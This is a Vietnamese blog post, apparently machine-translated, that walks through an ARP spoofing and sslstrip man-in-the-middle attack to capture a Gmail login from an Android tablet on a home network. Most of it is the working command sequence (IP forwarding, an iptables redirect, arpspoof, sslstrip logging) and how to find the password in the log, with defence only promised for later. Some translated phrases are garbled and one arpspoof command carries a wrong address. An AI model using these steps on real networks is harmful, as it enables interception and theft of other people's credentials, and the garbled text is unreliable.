ArpSpoofing và SSlstrip in Action.

Xin chào các Blogger.

Hôm nay, tôi có một mẫu nhỏ về mức độ nguy hiểm có thể được kết nối trong bất kỳ mạng nào mà không có bảo mật của những mạng mà rất nhiều người trong chúng ta thích.

Hôm nay, tôi sẽ sử dụng ArpSpoofing với Sslstrip để lấy mật khẩu Gmail. Để làm cho môi trường được kiểm soát tốt hơn, tôi đã tạo một tài khoản có tên "testarp@gmail.com".

Và vì tôi không thích phần mở đầu cho lắm, nên hãy bắt tay vào công việc.

MÔI TRƯỜNG

Đối với thử nghiệm này, những gì chúng tôi có như sau:

1. Kẻ tấn công: Đó là máy tính để bàn hoặc máy tính để bàn của tôi có Debian Wheezy. Từ kho bạn có thể cài đặt dải ssls y đánh hơi để có được đàn hạc

2. Nạn nhân: Nạn nhân là một máy tính bảng Android chỉ muốn xem thư của mình thông qua trình duyệt.

3. Phương tiện: Giữa là của tôi Bộ định tuyến Cisco DPC2425

CÁC ĐỊA CHỈ.

Địa chỉ của kẻ tấn công: 172.26.0.2

Địa chỉ bộ định tuyến: 172.26.0.1

Địa chỉ của Nạn nhân: 172.26.0.8

CUỘC TẤN CÔNG:

Điều đầu tiên chúng tôi sẽ làm cho cuộc tấn công này là kích hoạt chuyển tiếp để máy tính của chúng tôi có thể chuyển tiếp thông tin đến nạn nhân mà họ không nhận ra. (Nếu không nó sẽ là một cuộc tấn công từ chối dịch vụ)

Đối với điều đó, chúng tôi sẽ sử dụng:

echo "1" > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 8080

arpspoof -i eth0 -t 172.26.0.8 172.26.0.1
arpspoof -i eth0 -t 172.26.0.1 172.26.0.2
sslstrip -a -w desdelinux -l 8080

Bây giờ nếu chúng ta làm tail -f desdelinux chúng tôi thấy thông tin trực tiếp và trực tiếp

Vậy làm thế nào để chúng ta đạt được những gì chúng ta muốn?

Đầu tiên hãy nhập thư của chúng tôi trên Máy tính bảng. Trong khi đăng nhập, chúng tôi thấy rằng hàng nghìn hàng nghìn thứ xuất hiện trên bảng điều khiển của chúng tôi.

Bây giờ nó đã hoàn tất, hãy mở tập tin của chúng tôi “desdelinux” với nano

nano desdelinux

với Control + W, chúng tôi tìm kiếm thứ gọi là BÀI ĐĂNG BẢO MẬT.

Và chúng ta sẽ thấy một cái gì đó như thế này.

Trong số dòng khổng lồ không thể nhìn thấy đó là email và mật khẩu của nạn nhân.

Vì vậy, chúng tôi chạy sang bên phải cho đến khi chúng tôi nhìn thấy ánh sáng cuối đường hầm.

Vào một dịp khác, chúng ta sẽ xem làm thế nào chúng ta có thể tự bảo vệ mình một chút khỏi những cuộc tấn công này.

Liên quan